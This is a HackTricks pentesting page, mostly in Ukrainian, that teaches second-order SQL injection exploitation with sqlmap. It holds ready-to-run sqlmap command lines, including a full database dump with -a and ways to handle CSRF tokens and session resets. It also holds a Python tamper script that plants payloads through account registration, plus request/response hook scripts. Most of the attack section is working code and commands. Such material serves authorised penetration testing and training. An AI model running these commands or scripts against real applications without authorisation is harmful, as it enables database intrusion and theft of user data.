Second Order Injection with SQLMap
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.
SQLMap can exploit Second Order SQLis.
Потрібно вказати:
- request, де sqlinjection payload буде збережено
- request, де payload буде виконано
Request, де SQL injection payload зберігається, вказується так само, як і в будь-якій іншій injection у sqlmap. Request, де sqlmap може читати output/execution injection, можна вказати через --second-url або через --second-req, якщо потрібно вказати повний request із файлу.
Simple second order example:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
У кількох випадках цього буде недостатньо, тому що вам потрібно буде виконати інші дії окрім надсилання payload і доступу до іншої сторінки.
Коли це потрібно, ви можете використати sqlmap tamper. Наприклад, такий script зареєструє нового user використовуючи sqlmap payload як email і logout.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
SQLMap tamper завжди виконується перед початком спроби injection із payload і він має повернути payload. У цьому випадку нам не важливий payload, але нам важливо надіслати кілька requests, тож payload не змінюється.
Отже, якщо з якоїсь причини нам потрібен складніший flow для exploitation second order SQL injection, наприклад:
- Create an account with the SQLi payload inside the “email” field
- Logout
- Login with that account (login.txt)
- Send a request to execute the SQL injection (second.txt)
This sqlmap line will help:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Корисні switches у реальних second-order flows
Second-order automation зазвичай fails, тому що payload storage request працює, але execution request є noisy, stateful або protected. Коли це стається, такі flags зазвичай корисніші, ніж додавання ще більшої кількості payloads:
sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
--csrf-token,--csrf-url,--csrf-method: Корисні, коли запит для збереження або trigger потребує свіжого anti-CSRF token на кожну спробу.--live-cookies: Перезавантажує cookies перед кожним запитом. Корисно, коли browser/Burp macro оновлює стан сесії у фоні.--safe-reqand--safe-freq: Підтримують workflow активним, коли application виводить вас із системи або invalidates сесію після кількох невдалих probes.--string,--not-string,--regexp,--code,--text-only: Корисні, коли second-order response містить banners, ads, timestamps або user-generated junk, через що diffing стає нестабільним.
Коли --tamper недостатньо
tamper.py усе ще є найпростішим способом зареєструвати payload, вийти з системи, увійти знову і trigger execution. Однак на сучасних targets часто чистіше перенести частину логіки в request/response hooks:
--preprocess: Модифікує повний HTTP request перед відправленням. Корисно, коли second-order flow потребує додатковий nonce, додатковий parameter або normalization header.--postprocess: Очищає HTTP response перед тим, як sqlmap порівнює його. Корисно, коли second-order sink загорнутий у dynamic HTML і лише невеликий fragment є стабільним.
Example request/response hooks:
#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code
Важливі обмеження
- Не припускайте, що
--second-reqвідтворить той самий payload всередині*placeholder у другому request. Якщо trigger request також потребує injected value (або його похідну версію), зазвичай потрібен customtamper,--preprocessабо локальний proxy. - Не покладайтесь на
--evalдля другого request. Офіційне використання описує--evalдля primary request flow; якщо другий request також потребує per-attempt mutations, обробляйте їх усередині ваших helper scripts.
Цей pattern особливо корисний, коли payload зберігається в таких місцях, як:
- Filenames або image metadata, які запитуються пізніше
- Registration/profile fields, які згодом використовуються admin panels
- Sorting/filtering preferences, збережені server-side і відтворені пізніше
- Workflow state, який виконується лише після preview, export або moderation action
References
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.


